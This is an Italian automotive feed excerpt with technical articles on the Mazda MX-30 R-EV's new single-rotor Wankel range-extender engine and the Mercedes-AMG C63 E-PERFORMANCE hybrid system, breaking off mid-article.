<figure class="wp-block-image size-full"><img decoding="async" width="359" height="359" src="https://www.giornalemotori.com/wp-content/uploads//2024/01/277137721_3166192336999898_4282735678014108701_n.jpg" alt="277137721 3166192336999898 4282735678014108701 n" class="wp-image-134861" title="Best Engine: Il sistema ibrido di Toyota HEV e PHEV di quinta generazione per Prius e CH-R 205" srcset="https://www.giornalemotori.com/wp-content/uploads/2024/01/277137721_3166192336999898_4282735678014108701_n.jpg 359w, https://www.giornalemotori.com/wp-content/uploads/2024/01/277137721_3166192336999898_4282735678014108701_n-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2024/01/277137721_3166192336999898_4282735678014108701_n-300x300.jpg 300w" sizes="(max-width: 359px) 100vw, 359px" /><figcaption>Best Engine: Il sistema ibrido di Toyota HEV e PHEV di quinta generazione per Prius e CH-R 211</figcaption></figure>



<p class="wp-block-paragraph"></p>
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			<media:title type="plain">Tecnica Auto</media:title>
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		<title>Best Engine: Mazda MX-30 R-EV, Hybrid Plug-In Extender, la rinascita del Wankel</title>
		<link>https://www.giornalemotori.com/2023/07/25/best-engine-mazda-mx-30-r-ev-hybrid-plug-in-extender-la-rinascita-del-wankel/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=best-engine-mazda-mx-30-r-ev-hybrid-plug-in-extender-la-rinascita-del-wankel</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 25 Jul 2023 09:24:16 +0000</pubDate>
				<category><![CDATA[Ultimi articoli]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Mazda ha ampliato la gamma del MX-30, aggiungendo anche la tecnologia ibrida PHEV adottando un inedito sistema seriale dove la parte endotermica è mossa al mitico rotativo Wankel, tornato a nuova vita adattato alla propulsione ibrida. Questa nuova variante del Wankel denominato 8C è completamente nuovo ed è stato creato apposta per fungere da generatore [&#8230;]</p>
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<p class="wp-block-paragraph">Mazda ha ampliato la gamma del MX-30, aggiungendo anche la tecnologia ibrida PHEV adottando un inedito sistema seriale dove la parte endotermica è mossa al mitico rotativo Wankel, tornato a nuova vita adattato alla propulsione ibrida. Questa nuova variante del Wankel denominato 8C è completamente nuovo ed è stato creato apposta per fungere da generatore senza avere nessun collegamento diretto con le ruote come avviene nei sistemi ibridi paralleli o misti.</p>



<p class="wp-block-paragraph">Il Wankel è perfetto per ottenere un sistema propulsivo che avesse gli stessi ingombri della powertrain elettrica. I tecnici giapponesi avevano bisogno di un motore benzina compatto ed il motore rotativo è il più compatto in assoluto consentendo di avere gli stessi ingombri adattandosi alla perfezione al telaio della MX-30 EV e di poter ricavare spazio sufficiente per il serbatoio di benzina.&nbsp;Nel sistema ibrido seriale extender R-EV è integrato con il motore elettrico di potenza, il generatore e l’inverter occupando una lunghezza inferiore a 840 mm.&nbsp;</p>



<h2 class="wp-block-heading" id="h-tre-ostacoli-tutti-superati-brillantemente"><strong>Tre ostacoli, tutti superati brillantemente </strong></h2>



<p class="wp-block-paragraph">Il capo progetto Yoshiaki Noguchi ha dovuto risolvere tre problematiche che da sempre questo propulsore si porta appresso. Bisognava ridurre il peso, abbassare i consumi e migliorare l’affidabilità.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="768" height="489" src="https://www.giornalemotori.com/wp-content/uploads//2023/07/2022_MX-30_REunitOUTLINE-768x489-1.jpg" alt="2022 MX 30 REunitOUTLINE 768x489 1" class="wp-image-129345" title="Best Engine: Mazda MX-30 R-EV, Hybrid Plug-In Extender, la rinascita del Wankel 212" srcset="https://www.giornalemotori.com/wp-content/uploads/2023/07/2022_MX-30_REunitOUTLINE-768x489-1.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2023/07/2022_MX-30_REunitOUTLINE-768x489-1-300x191.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2023/07/2022_MX-30_REunitOUTLINE-768x489-1-696x443.jpg 696w" sizes="(max-width: 768px) 100vw, 768px" /><figcaption>Best Engine: Mazda MX-30 R-EV, Hybrid Plug-In Extender, la rinascita del Wankel 218</figcaption></figure>



<p class="wp-block-paragraph">Il vecchio glorioso Renesis aveva un design a doppio rotore ognuno dei quali aveva 654 cc.&nbsp;Il nuovo motore 8C ha un rotore singolo da 830 cc con un raggio della camera, trocoidale di 120 mm e una larghezza dell&#8217;alloggiamento del rotore di 76 mm.&nbsp;Le luci di aspirazione sono due per l’aspirazione e due per lo scarico. &nbsp;Il peso è stato ridotto di oltre 15 kg grazie all&#8217;utilizzo dell&#8217;alluminio per l’alloggiamento laterale della struttura esterna. L&#8217;uso dell&#8217;iniezione diretta, invece ha migliorato l&#8217;efficienza.</p>



<p class="wp-block-paragraph"><strong>Iniezione diretta per migliorare l&#8217;efficienza </strong></p>



<p class="wp-block-paragraph">La soluzione di utilizzare questo tipo di iniezione era inevitabile ed era un progetto che da tempo giaceva nei cassetti dei progettisti del vecchio Renesis. L’occasione si è presentata con la possibilità di partire da un foglio bianco per la progettazione del rotore e della camera di combustione.</p>



<p class="wp-block-paragraph">Uno degli ostacoli da superare era la gestione delle temperature di combustione che in un motore rotativo variano costantemente. Ottenere la combustione della miscela omogenea è molto difficile perché a differenza della camera di combustione di un motore alternativo, nei rotativi questa è sempre in rotazione.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="651" src="https://www.giornalemotori.com/wp-content/uploads//2023/07/2022_Mazda_MX-30R_Emotional-2048x1303-1-1024x651.jpg" alt="2022 Mazda MX 30R Emotional 2048x1303 1" class="wp-image-129346" title="Best Engine: Mazda MX-30 R-EV, Hybrid Plug-In Extender, la rinascita del Wankel 213" srcset="https://www.giornalemotori.com/wp-content/uploads/2023/07/2022_Mazda_MX-30R_Emotional-2048x1303-1-1024x651.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2023/07/2022_Mazda_MX-30R_Emotional-2048x1303-1-768x488.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2023/07/2022_Mazda_MX-30R_Emotional-2048x1303-1-300x191.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2023/07/2022_Mazda_MX-30R_Emotional-2048x1303-1-696x443.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2023/07/2022_Mazda_MX-30R_Emotional-2048x1303-1.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: Mazda MX-30 R-EV, Hybrid Plug-In Extender, la rinascita del Wankel 219</figcaption></figure>



<h2 class="wp-block-heading"><strong>Consumi ridotti e migliore affidabilità</strong></h2>



<p class="wp-block-paragraph">Per risolvere questo problema il carburante miscelato con l’aria deve rimanere in una posizione ben precisa per avere una combustione efficiente. Nel rotativo succede che la parte superiore della miscela è magra mentre la seconda metà è ricca e non bruciando completamente viene espulsa come gas incombusto impattando in modo negativo sia sul consumo che sull’affidabilità del motore.</p>



<p class="wp-block-paragraph">L&#8217;iniezione diretta&nbsp;consente di distribuire più uniformemente la miscela aria-carburante per concentrarla nella zona principale di combustione, migliorando l&#8217;efficienza e riducendo le emissioni.&nbsp;Mediante simulazioni accurate i tecnici giapponesi hanno potuto calcolare con precisione il movimento della miscela all&#8217;interno della camera ottimizzando sia il tempo d’iniezione che il corretto angolo che l’iniettore deve per ottenere una perfetta combustione con un risparmio di carburante fino al 25%. Inoltre, la maggiore vaporizzazione del carburante può avvenire a temperature inferiori evitando sprechi contribuendo ad migliorare ulteriormente la percentuale di risparmio.</p>



<h2 class="wp-block-heading"><strong>EGR per ridurre le emissioni</strong></h2>



<p class="wp-block-paragraph">Questo propulsore dispone anche del sistema di ricircolo dei gas di scarico (EGR).&nbsp;Questo funziona in modo particolare ai bassi regimi e bassi carichi, migliorando il risparmio di carburante riducendo le perdite di rendimenti per il raffreddamento dovuto alla maggiore superfice del pistone rotativo mentre avviene la combustione.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2023/07/2022_mazda_mx-30_r-ev_global_tech_009_highres_tsuqfs-1024x576.jpg" alt="2022 mazda mx 30 r ev global tech 009 highres tsuqfs" class="wp-image-129347" title="Best Engine: Mazda MX-30 R-EV, Hybrid Plug-In Extender, la rinascita del Wankel 214" srcset="https://www.giornalemotori.com/wp-content/uploads/2023/07/2022_mazda_mx-30_r-ev_global_tech_009_highres_tsuqfs-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2023/07/2022_mazda_mx-30_r-ev_global_tech_009_highres_tsuqfs-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2023/07/2022_mazda_mx-30_r-ev_global_tech_009_highres_tsuqfs-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2023/07/2022_mazda_mx-30_r-ev_global_tech_009_highres_tsuqfs-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2023/07/2022_mazda_mx-30_r-ev_global_tech_009_highres_tsuqfs.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: Mazda MX-30 R-EV, Hybrid Plug-In Extender, la rinascita del Wankel 220</figcaption></figure>



<p class="wp-block-paragraph">In effetti la presenza del sistema EGR appare come un eccesso di zelo visto che questo tipo di motore non ha problemi di emissioni di NOX proprio per effetto delle temperature di combustione più basse.&nbsp;Ma continuano a esserci problemi legati alla CO e gli HC per l’abbattimento delle quali è stato sviluppato e progettato il propulsore. &nbsp;</p>



<h2 class="wp-block-heading">Elevato rapporto di compressione </h2>



<p class="wp-block-paragraph">Il motore 8C, infatti, ha un rapporto di compressione molto più elevato rispetto al passato arrivando a quota 11,9:1.&nbsp;Un valore tanto alto è stato possibile anche grazie alla progettazione delle componenti interne rotative del motore per una migliore tenuta della miscela attraverso dei sistemi di ritenuta ricavate sul pistone rotante.</p>



<p class="wp-block-paragraph">In passato la tenuta dei gas si otteneva principalmente aumentando la pressione sul fianco e questo portava ad un inevitabile aumento dell&#8217;usura.&nbsp;Per ovviare a questa problematica le guarnizioni sulla punta del rotore sono state portate da 2,0 mm a 2,5 mm. Anche il rivestimento interno della camera trocoide, quella che nei motore tradizionali è assimilabile alla camicia dei cilindri, è stata rinforzata riducendo l&#8217;usura e la resistenza all&#8217;attrito.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="864" height="486" src="https://www.giornalemotori.com/wp-content/uploads//2023/07/ewg4y35ui4ryjthewre-min.jpg" alt="ewg4y35ui4ryjthewre min" class="wp-image-129348" title="Best Engine: Mazda MX-30 R-EV, Hybrid Plug-In Extender, la rinascita del Wankel 215" srcset="https://www.giornalemotori.com/wp-content/uploads/2023/07/ewg4y35ui4ryjthewre-min.jpg 864w, https://www.giornalemotori.com/wp-content/uploads/2023/07/ewg4y35ui4ryjthewre-min-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2023/07/ewg4y35ui4ryjthewre-min-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2023/07/ewg4y35ui4ryjthewre-min-696x392.jpg 696w" sizes="(max-width: 864px) 100vw, 864px" /><figcaption>Best Engine: Mazda MX-30 R-EV, Hybrid Plug-In Extender, la rinascita del Wankel 221</figcaption></figure>



<h2 class="wp-block-heading"><strong>Consumo olio normalizzato </strong></h2>



<p class="wp-block-paragraph">I lati dell&#8217;alloggiamento del rotore sono rivestiti in alluminio e sono stati rivestiti attraverso un processo speciale creando una superficie ceramica che riduce ulteriormente l&#8217;usura e la resistenza.&nbsp;Una delle pecche del passato, il consumo eccessivo di olio, è stato annullato portando il propulsore rotativo allo stesso livello di consumo di un motore alternativo tradizionale.</p>



<p class="wp-block-paragraph"><br>Il sistema Mazda ha un funzionamento di tipo seriale. La scelta iniziale era quella di far funzionare il propulsore ad un regime costante trasformando la MC-30 BEV in una vettura elettrica EV range extender.&nbsp;Ma un funzionamento eccessivamente slegato tra il motore benzina e quello elettrico ha portato i tecnici giapponesi a cambiare strada imponendo un regime del motore variabile in base alle esigenze di potenza del driver. I giri del motore variano in modo continuo da un minimo molto alto di 2000 giri/minuto fino al massimo regime di 4500giri/minuto. &nbsp;</p>



<h2 class="wp-block-heading"><strong>Potenza adeguata al compito di generatore </strong></h2>



<p class="wp-block-paragraph">La potenza di 75 CV a 4.500 giri/min e 117 Nm a 4.000 giri/min potrebbe apparire limitata, ma è più che sufficiente per il compito di puro generatore a cui è demandato il propulsore benzina.&nbsp;Il motore elettrico sincrono a magneti permanenti, fornisce la potenza massima di sistema di 170 CV a 9.000 giri/min e 260 Nm a 4.481 giri/min. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2023/07/gettyimages-108912360-1526916149-1024x768.jpg" alt="gettyimages 108912360 1526916149" class="wp-image-129349" title="Best Engine: Mazda MX-30 R-EV, Hybrid Plug-In Extender, la rinascita del Wankel 216" srcset="https://www.giornalemotori.com/wp-content/uploads/2023/07/gettyimages-108912360-1526916149-1024x768.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2023/07/gettyimages-108912360-1526916149-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2023/07/gettyimages-108912360-1526916149-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2023/07/gettyimages-108912360-1526916149-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2023/07/gettyimages-108912360-1526916149-265x198.jpg 265w, https://www.giornalemotori.com/wp-content/uploads/2023/07/gettyimages-108912360-1526916149.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: Mazda MX-30 R-EV, Hybrid Plug-In Extender, la rinascita del Wankel 222</figcaption></figure>



<p class="wp-block-paragraph">Il corpo motore raffreddato ad olio il che rende il propulsore più compatto e grazie alla potenza di 355v è superiore ai 145cv della versione elettrica pura. Il peso complessivo aumenta di soli 58 kg con un peso complessivo di 1.778 kg consentendo un miglior rapporto peso/potenza grazie alla valore maggiore di quest&#8217;ultima. </p>



<p class="wp-block-paragraph">L’MX-30 R-EV si continua a guidare come un veicolo elettrico in ogni condizione, anche alte velocità. l’accelerazione è forte e lineare con una risposta immediata senza ritardo alle ruote. Il passaggio da modalità elettrica ad ibrido automatico non è praticamente avvertibile dal conducente se non per la presenza discreta del propulsore acceso. Come tutti i sistemi di tipo seriale la marcia è sempre fluida ed in questo caso si azzerano anche le vibrazioni per effetto del bilanciamento intrinseco del motore rotativo.</p>



<h2 class="wp-block-heading"><strong>Tecnologia Plug-In Extender</strong></h2>



<p class="wp-block-paragraph">Nonostante i tecnici giapponesi avessero potuto adottare questo sistema come estensore della carica della vettura elettrica, hanno preferito cambiare rotta adattando la tecnologia ad una propulsione ibrida plug-in estendendo la durata della batteria da 17,8 kWh. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="537" src="https://www.giornalemotori.com/wp-content/uploads//2023/07/is-mazda-really-bringing-back-the-rotary-engine-2023-02-28_08-07-26_772012-1024x537.jpg" alt="is mazda really bringing back the rotary engine 2023 02 28 08 07 26 772012" class="wp-image-129350" title="Best Engine: Mazda MX-30 R-EV, Hybrid Plug-In Extender, la rinascita del Wankel 217" srcset="https://www.giornalemotori.com/wp-content/uploads/2023/07/is-mazda-really-bringing-back-the-rotary-engine-2023-02-28_08-07-26_772012-1024x537.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2023/07/is-mazda-really-bringing-back-the-rotary-engine-2023-02-28_08-07-26_772012-768x403.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2023/07/is-mazda-really-bringing-back-the-rotary-engine-2023-02-28_08-07-26_772012-300x157.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2023/07/is-mazda-really-bringing-back-the-rotary-engine-2023-02-28_08-07-26_772012-696x365.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2023/07/is-mazda-really-bringing-back-the-rotary-engine-2023-02-28_08-07-26_772012.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Engine: Mazda MX-30 R-EV, Hybrid Plug-In Extender, la rinascita del Wankel 223</figcaption></figure>



<p class="wp-block-paragraph">Il controllo di gestione di carica e scarica della batteria ha migliorato anche il suo ciclo di vita. Inoltre, ha consentito di dimezzare le dimensioni, migliorando la densità e riducendo il costo. Anche con la presenza delle componenti endotermiche e della benzina necessaria per il funzionamento del sistema, i costi sono paragonabili a quelli di una vettura elettrica. </p>



<h2 class="wp-block-heading">Autonomia da 85km in elettrico</h2>



<p class="wp-block-paragraph">L&#8217;autonomia puramente elettrica omologata WLTP è di 85 km. L’idea dei progettisti Mazda è quella di fornire due diverse tecnologie assorbendone solo i pregi. Si può viaggiare per molti km in modalità elettrica pura, e quando la batteria è scarica sfruttare al meglio le caratteristiche di efficienza di un motore full hybrid per effettuare viaggi medio lunghi con un maggiore risparmio di carburante rispetto ad auto benzina e diesel di potenza analoga. </p>



<p class="wp-block-paragraph">In ogni caso la piattaforma tecnica alla base della MX-30 non impedisce di poter allargare la gamma anche introducendo una versione EV range extender pura, il che aprirebbe anche scenari verso un eventuale versione alimentata a idrogeno, rispolverando un vecchio concept rotativo con questo carburante risalente agli anni 90 l’HR-X. L’MX-30 R-EV&nbsp;dichiara un livello di emissioni pari a 21 g/km, secondo il ciclo WLTP il che porta ad una riduzione del 31% i consumi rispetto ad una CX-30 nella sua motorizzazione più parca.</p>
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		<title>Best Tech: Mercedes C63 AMG, E-PERFORMANCE</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 23 Feb 2023 09:01:56 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Mercedes-Benz viaggia spedita verso la mobilità sostenibile. Un viaggio non dovrà sacrificare le prestazioni ed un immagine sportiva costruita faticosamente nel corso dei decenni attraverso il duro lavoro fatto dalla divisione AMG. Proprio l&#8217;esperienza maturata in quasi un decennio di vittorie in F1 sarà il volano consentirà di essere green senza rinunciare alle emozioni alla [&#8230;]</p>
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<p class="wp-block-paragraph">Mercedes-Benz viaggia spedita verso la mobilità sostenibile. Un viaggio non dovrà sacrificare le prestazioni ed un immagine sportiva costruita faticosamente nel corso dei decenni attraverso il duro lavoro fatto dalla divisione AMG. Proprio l&#8217;esperienza maturata in quasi un decennio di vittorie in F1 sarà il volano consentirà di essere green senza rinunciare alle emozioni alla guida. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2023/10/Mercedes-Benz-C63_S_AMG_E_Performance-2023-1280-16-1024x768.jpg" alt="Mercedes Benz C63 S AMG E Performance 2023 1280 16" class="wp-image-130977" title="Best Tech: Mercedes C63 AMG, E-PERFORMANCE 224" srcset="https://www.giornalemotori.com/wp-content/uploads/2023/10/Mercedes-Benz-C63_S_AMG_E_Performance-2023-1280-16-1024x768.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2023/10/Mercedes-Benz-C63_S_AMG_E_Performance-2023-1280-16-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2023/10/Mercedes-Benz-C63_S_AMG_E_Performance-2023-1280-16-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2023/10/Mercedes-Benz-C63_S_AMG_E_Performance-2023-1280-16-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2023/10/Mercedes-Benz-C63_S_AMG_E_Performance-2023-1280-16-265x198.jpg 265w, https://www.giornalemotori.com/wp-content/uploads/2023/10/Mercedes-Benz-C63_S_AMG_E_Performance-2023-1280-16.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Best Tech: Mercedes C63 AMG, E-PERFORMANCE 227</figcaption></figure>



<p class="wp-block-paragraph">La nuova Mercedes-Benz C63 AMG, punta direttamente sulla tecnologia ibrida. Niente più V8, ma una cubatura dimezzata con l&#8217;aggiunta di tanta potenza elettrica per compensare.  La tecnologia ibrida E PERFORMANCE progettata interamente da AMG è di tipo parallelo con schema P3. Il motore a combustione interna si trova nella nella parte anteriore con la parte elettrica sita sull&#8217;assale posteriore per gestire anche la trazione integrale. </p>



<h2 class="wp-block-heading" id="h-sistema-ibrido-derivato-dalle-corse"><strong>Sistema ibrido derivato dalle corse</strong> </h2>



<p class="wp-block-paragraph">Il motore turbo a quattro cilindri da 2,0 litri della serie M139L, dove L sta per posizione longitudinale viene combinato con un motore elettrico sincrono a magneti permanente ed una batteria ad alte prestazioni sviluppata da AMG con trazione integrale 4MATIC+ AMG Performance completamente regolabile. La potenza di sistema è di 680 CV per una coppia massima di 1020 Nm ed uno scatto sullo 0 a 100 km/h in 3,4 secondi per una velocità massima di 280 km/h con l’AMG Driver&#8217;s Package opzionale.</p>



<p class="wp-block-paragraph">Il motore elettrico eroga 204 CV è integrato con un cambio a due velocità e differenziale posteriore a slittamento limitato controllato elettronicamente in un&#8217;unità di trasmissione elettrica compatta (EDU). Questo schema consente un erogazione di potenza immediata migliorando la trazione, l&#8217;accelerazione o il sorpasso. Inoltre, il differenziale posteriore a slittamento limitato, integrato e controllato elettronicamente, consente di gestire al meglio la dinamica dell&#8217;auto in uscita di curva, e per gli smanettoni anche il traverso facile!</p>



<figure class="wp-block-image size-full"><img decoding="async" width="700" height="394" src="https://www.giornalemotori.com/wp-content/uploads//2023/02/D677258-Infografik-Next-level-E-PERFORMANCE-Mercedes-AMG-C-63-S-E-PERFORMANCE.jpg" alt="D677258 Infografik Next level E PERFORMANCE Mercedes AMG C 63 S E PERFORMANCE" class="wp-image-122308" title="Best Tech: Mercedes C63 AMG, E-PERFORMANCE 225" srcset="https://www.giornalemotori.com/wp-content/uploads/2023/02/D677258-Infografik-Next-level-E-PERFORMANCE-Mercedes-AMG-C-63-S-E-PERFORMANCE.jpg 700w, https://www.giornalemotori.com/wp-content/uploads/2023/02/D677258-Infografik-Next-level-E-PERFORMANCE-Mercedes-AMG-C-63-S-E-PERFORMANCE-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2023/02/D677258-Infografik-Next-level-E-PERFORMANCE-Mercedes-AMG-C-63-S-E-PERFORMANCE-696x392.jpg 696w" sizes="(max-width: 700px) 100vw, 700px" /><figcaption>Best Tech: Mercedes C63 AMG, E-PERFORMANCE 228</figcaption></figure>



<h2 class="wp-block-heading"><strong>Gestione ottimizzata della trazione elettrica </strong></h2>



<p class="wp-block-paragraph">Nel momento si verifica uno slittamento eccessivo sull&#8217;asse posteriore, la coppia del motore elettrico viene trasferita anche alle ruote anteriori fino a far prevalere la trazione sull&#8217;asse anteriore gestendo al meglio la fase critica. Per rendere omogeneo e preciso il passaggio di coppia tra i due assali è stato conservato l&#8217;albero di trasmissione meccanico della trazione integrale tradizionale per gestire il trasferimento della coppia in modo omogeneo tra i due assali. </p>



<p class="wp-block-paragraph">La posizione del motore elettrico e della batteria sull’asse posteriore consentono di gestire al meglio la distribuzione del peso migliorando la manovrabilità, con una ripartizione equilibrata tra i due assali.  Un importante lavoro di efficientamento è stato fatto sul rendimento degli organi meccanici, dal motore endotermico agli elementi della trasmissione per minimizzare le perdite meccaniche.  La trasmissione automatizzata a due velocità integrata con il motore elettrici posto sull&#8217;asse posteriore è stata presa a prestito dall&#8217;ammiraglia elettrica di Mercedes. Lo scopo è quello di gestire al meglio l&#8217;elevata coppia anche sulla singola ruota come un torque vectoring. Un attuatore elettrico innesta la seconda marcia quando il motore elettrico raggiunge il regime di 13.500 giri/min, migliorando la fase di accelerazione e la gestione della potenza a medio-alta velocità, abbassando la richiesta energetica per gestire le velocità autostradali. </p>



<h2 class="wp-block-heading"><strong>La batteria ad alte prestazioni sviluppata da AMG</strong></h2>



<p class="wp-block-paragraph">La batteria ad alte prestazioni (HPB) utilizza la stessa tecnologia per gli elementi usati dal team Mercedes-AMG Petronas F1. Nel corso dello sviluppo, è stata data priorità alla capacità di avere a disposizione un&#8217;elevata potenza, ma soprattutto alla gestione più frequenti di carico e scarico per avere sempre energia sufficiente per garantire sempre prestazioni degne di una C63 AMG. Il peso è ridotto al minimo, grazie all&#8217;utilizzo di una gabbia interamente in alluminio permette una ottimale gestione della posizione del baricentro della vettura. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="700" height="394" src="https://www.giornalemotori.com/wp-content/uploads//2023/02/D677259-Infografik-Next-level-E-PERFORMANCE-Mercedes-AMG-C-63-S-E-PERFORMANCE.jpg" alt="D677259 Infografik Next level E PERFORMANCE Mercedes AMG C 63 S E PERFORMANCE" class="wp-image-122309" title="Best Tech: Mercedes C63 AMG, E-PERFORMANCE 226" srcset="https://www.giornalemotori.com/wp-content/uploads/2023/02/D677259-Infografik-Next-level-E-PERFORMANCE-Mercedes-AMG-C-63-S-E-PERFORMANCE.jpg 700w, https://www.giornalemotori.com/wp-content/uploads/2023/02/D677259-Infografik-Next-level-E-PERFORMANCE-Mercedes-AMG-C-63-S-E-PERFORMANCE-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2023/02/D677259-Infografik-Next-level-E-PERFORMANCE-Mercedes-AMG-C-63-S-E-PERFORMANCE-696x392.jpg 696w" sizes="(max-width: 700px) 100vw, 700px" /><figcaption>Best Tech: Mercedes C63 AMG, E-PERFORMANCE 229</figcaption></figure>



<h2 class="wp-block-heading"><strong>70 kW di potenza continua e 150 kW di potenza di picco</strong></h2>



<p class="wp-block-paragraph">La capacità massima della batteria è di 6,1 kWh in potenza continua di 70 kW e 150 kW di picco per una durata di per dieci secondi. Il peso complessivo è di soli 89 chilogrammi con un’altissima densità di 1,7 kW/kg, praticamente il doppio di una batteria convenzionale. La ricarica avviene tramite il caricabatterie CA di bordo da 3,7 kW, presso una stazione di ricarica, una wallbox o una presa domestica. L’autonomia elettrica è di 13 chilometri consente una guida silenziosa e senza emissioni da un&#8217;area residenziale alla periferia della città o all&#8217;autostrada.</p>



<h2 class="wp-block-heading"><strong>Raffreddamento diretto delle celle della batteria</strong></h2>



<p class="wp-block-paragraph">La potenza della batteria da 400 volt necessita di un innovativo sistema di raffreddamento diretto. &nbsp;Il sistema sfrutta un liquido elettricamente non conduttivo che scorre intorno a tutte le 560 celle raffreddandole singolarmente per una gestione ottimale della temperatura di esercizio. </p>



<p class="wp-block-paragraph">Questa soluzione per il raffreddamento necessita di elementi sottili solo millimetri e 14 litri di refrigerante che circola dall’alto verso il basso attraverso ogni cella con l&#8217;aiuto di una pompa elettrica ad alte prestazioni appositamente sviluppata. Il liquido di raffreddamento passa attraverso uno scambiatore di calore olio/acqua collegato direttamente alla batteria per poi andare verso il radiatore nella parte anteriore dell&#8217;auto dove viene viene raffreddato attraverso lo scambio termico con l&#8217;aria esterna. </p>



<h2 class="wp-block-heading">C<strong>ontrollo ottimale della temperatura di esercizio</strong></h2>



<p class="wp-block-paragraph">Il risultato è una temperatura sempre sotto controllo della batteria di 45 gradi Celsius, indipendentemente dalla frequenza con cui viene caricata o scaricata. Una serie di sensori consentono di gestire la temperatura in modo ottimale anche durante i giri veloci in pista, dove servono le massime prestazioni in termini di carico e scarico della batteria.</p>



<h2 class="wp-block-heading"><strong>Energia elettrica sempre disponibile</strong></h2>



<p class="wp-block-paragraph">Anche la gestione del sistema è derivata dal powerpack ibrido dell&#8217;auto da corsa di Formula 1 Mercedes-AMG Petronas. Un elemento che consente di avere sempre disponibile la massima potenza quando il pilota la richiede con il kickdown. &nbsp;L&#8217;energia elettrica può essere sempre richiamata grazie alle elevate prestazioni di recupero e ricarica variabili in base alle esigenze combinando l&#8217;azione di tutti i componenti offrire sempre prestazioni massime.</p>



<h2 class="wp-block-heading"><strong>Otto programmi di guida AMG</strong></h2>



<p class="wp-block-paragraph">Le otto modalità di guida AMG DYNAMIC SELECT &#8220;Electric&#8221;, &#8220;Comfort&#8221;, &#8220;Battery Hold&#8221;, &#8220;Sport&#8221;, &#8220;Sport+&#8221;, &#8220;RACE&#8221;, &#8220;Slippery&#8221; e &#8220;Individual&#8221; sono adattate alla nuova tecnologia offrendo un&#8217;ampia gamma di esperienze di guida, da quelle efficienti a quelle dinamiche. Le modalità di guida regolano parametri come la risposta della trasmissione, le caratteristiche dello sterzo, lo smorzamento delle sospensioni o il suono. La potenza del motore elettrico dipende anche dal programma di guida selezionato&nbsp; con un boost di 204cv disponibile in qualsiasi momento tramite la funzione kick-down e possono essere selezionate tramite un comodo comando sul volante, per un utilizzo che ricorda le auto da corsa.</p>



<p class="wp-block-paragraph">In &#8220;Silent Mode&#8221; abbinato al programma &#8220;Comfort&#8221; avvia la vettura in modalità elettrica. La modalità di guida &#8220;elettrico&#8221; consente la marcia elettrica fino a 125 km/h per i km concessi dalla capacità della batteria. </p>



<h2 class="wp-block-heading"><strong>Una modalità di guida per ogni esigenza</strong> </h2>



<p class="wp-block-paragraph">Partendo dalla modalità di guida &#8220;Comfort&#8221;, l’avvio è la marcia a bassa velocità è quasi sempre in elettrico, mentre aumentando la velocità i due propulsori agiscono insieme con la potenza elettrica che si attesta al 25% ottimizzando i consumi grazie anche al perfetto sincronismo della trasmissione AMG SPEEDSHIFT MCT-9G. Le sospensioni e lo sterzo sono impostati per dare massimo comfort.</p>



<p class="wp-block-paragraph">Il &#8220;Battery Hold” cambia la logica di gestione per mantenere costante lo stato di carica della batteria. Ad esempio, se la batteria è al 75% di carica, rimane in questo intervallo limitando ed ottimizzando l’intervento del motore elettrico in base al consumo energetico, compensando nelle fasi di recupero.</p>



<h2 class="wp-block-heading"><strong>Sport per sfruttare al massimo le prestazioni </strong></h2>



